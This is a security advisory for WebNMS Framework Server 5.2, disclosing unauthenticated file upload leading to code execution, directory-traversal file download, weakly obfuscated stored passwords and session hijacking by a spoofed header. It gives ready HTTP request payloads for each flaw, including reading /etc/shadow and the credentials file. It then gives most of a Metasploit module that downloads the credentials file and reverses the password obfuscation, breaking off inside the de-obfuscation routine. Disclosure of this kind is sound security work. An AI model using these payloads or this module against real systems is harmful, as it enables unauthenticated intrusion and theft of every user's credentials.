Background
WebNMS is an industry-leading framework for building network management applications. With over 25,000 deployments worldwide and in every Tier 1 Carrier, network equipment providers and service providers can customize, extend and rebrand WebNMS as a comprehensive Element Management System (EMS) or Network Management System (NMS). NOC Operators, Architects and Developers can customize the functional modules to fit their domain and network. Functional modules include Fault Correlation, Performance KPIs, Device Configuration, Service Provisioning and Security. WebNMS supports numerous Operating Systems, Application Servers, and databases.
Vulnerabilities Description
Multiple vulnerabilities affecting WebNMS have been found, these vulnerabilities allows uploading of arbitrary files and their execution, arbitrary file download (with directory traversal), use of a weak algorithm for storing passwords and session hijacking.
Technical Details
Arbitrary file upload with directory traversal, leading to remote code execution
Constraints: no authentication needed
Affected versions: unknown, at least 5.2 and 5.2 SP1
POST /servlets/FileUploadServlet?fileName=../jsp/Login.jspHTTP/1.1 <JSPpayloadhere>
Two things of note:
1) Only text files are uploaded properly, binary files will get mangled.
2), In order to achieve code execution without authentication, the files need to be dropped in ../jsp/ but they can only have the following names: either Login.jsp or a WebStartXXX.jsp, where XXX is any string of any length.
Arbitrary file download with directory traversal
Constraints: no authentication needed
Affected versions: unknown, at least 5.2 and 5.2 SP1
GET /servlets/FetchFile?fileName=../../../etc/shadow
Note that only text files can be downloaded properly, any binary file will get mangled by the servlet and downloaded incorrectly.
Weak obfuscation algorithm used to store passwords in text file
Constraints: N/A
Affected versions: unknown, at least 5.2 and 5.2 SP1
The ./conf/securitydbData.xml file contains entries with all the usernames and passwords in the server:
<DATAownername="NULL" password="e8c89O1f" username="guest"/> <DATAownername="NULL" password="d7963B4t" username="root"/>
The algorithm used to obfuscate is convoluted but easy to reverse. The passwords above are “guest” for the “guest” user and “admin” for the “root” user. A Metasploit module implementing the de-obfuscation algorithm has been released.
This vulnerability can be combined with #2 and allow an unauthenticated attacker to obtain credentials for all user accounts:
GET /servlets/FetchFile?fileName=conf/securitydbData.xml
Session hijacking by spoofing the UserName header
Constraints: no authentication needed
Affected versions: unknown, at least 5.2 and 5.2 SP1
GET /servlets/GetChallengeServletHTTP/1.1 UserName: root
Returns SessionId=0033C8CFFE37EB6093849CBA4BF2CAF3; which is a valid, JSESSIONID cookie authenticated as the “root” user. This can then be used to login to the WebNMS Framework Server by simply setting the cookie and browsing to any page.
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'WebNMS Framework Server Credential Disclosure', 'Description' => %q{ This module abuses two vulnerabilities in WebNMS Framework Server 5.2 to extract all user credentials. The first vulnerability is a unauthenticated file download in the FetchFile servlet, which is used to download the file containing the user credentials. The second vulnerability is that the the passwords in the file are obfuscated with a very weak algorithm which can be easily reversed. This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on windows and linux. }, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', 'TODO' ], [ 'CVE', 'TODO' ], [ 'OSVDB', 'TODO' ], [ 'OSVDB', 'TODO' ], [ 'URL', 'TODO_GITHUB_URL' ], [ 'URL', 'TODO_FULLDISC_URL' ] ], 'DisclosureDate' => 'XXXXXX')) register_options( [ OptPort.new('RPORT', [true, 'The target port', 9090]), OptString.new('TARGETURI', [ true,"WebNMS path", '/']) ], self.class) end def run res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'servlets', 'FetchFile'), 'method' =>'GET', 'vars_get' => { 'fileName' => 'conf/securitydbData.xml' } }) if res && res.code == 200 && res.body.to_s.length > 0 cred_table = Rex::Ui::Text::Table.new( 'Header'=> 'WebNMS Login Credentials', 'Indent'=> 1, 'Columns' => [ 'Username', 'Password' ] ) print_status "#{peer} - Got securitydbData.xml, attempting to extract credentials..." res.body.to_s.each_line { |line| # we need these checks because username and password might appear in any random position in the line if line =~ /username="([\w]*)"/ username = $1 if line =~ /password="([\w]*)"/ password = $1 plaintext_password = super_retarded_deobfuscation(password) cred_table << [ username, plaintext_password ] register_creds(username, plaintext_password) end end } print_line print_line("#{cred_table}") loot_name= 'webnms.creds' loot_type= 'text/csv' loot_filename = 'webnms_login_credentials.csv' loot_desc= 'WebNMS Login Credentials' p = store_loot( loot_name, loot_type, rhost, cred_table.to_csv, loot_filename, loot_desc) print_status "Credentials saved in: #{p}" return end end # Returns the plaintext of a string obfuscated with WebNMS's super retarded obfuscation algorithm. # I'm sure this can be simplified, but I've spent far too many hours implementing to waste any more time! def super_retarded_deobfuscation (ciphertext) input = ciphertext input = input.gsub("Z","000") base = '0'.upto('9').to_a + 'a'.upto('z').to_a + 'A'.upto('G').to_a base.push 'I' base += 'J'.upto('Y').to_a answer = '' k = 0 remainder = 0 co = input.length / 6 while k < co part = input[(6 * k),6] partnum = '' startnum = false for i in 0...5 isthere = false pos = 0 until isthere if part[i] == base[pos] isthere = true partnum += pos.to_s if pos == 0 if not startnum answer += "0" end else startnum = true end end pos += 1 end end isthere = false pos = 0 until isthere if part[5] == base[pos] isthere = true remainder = pos end pos += 1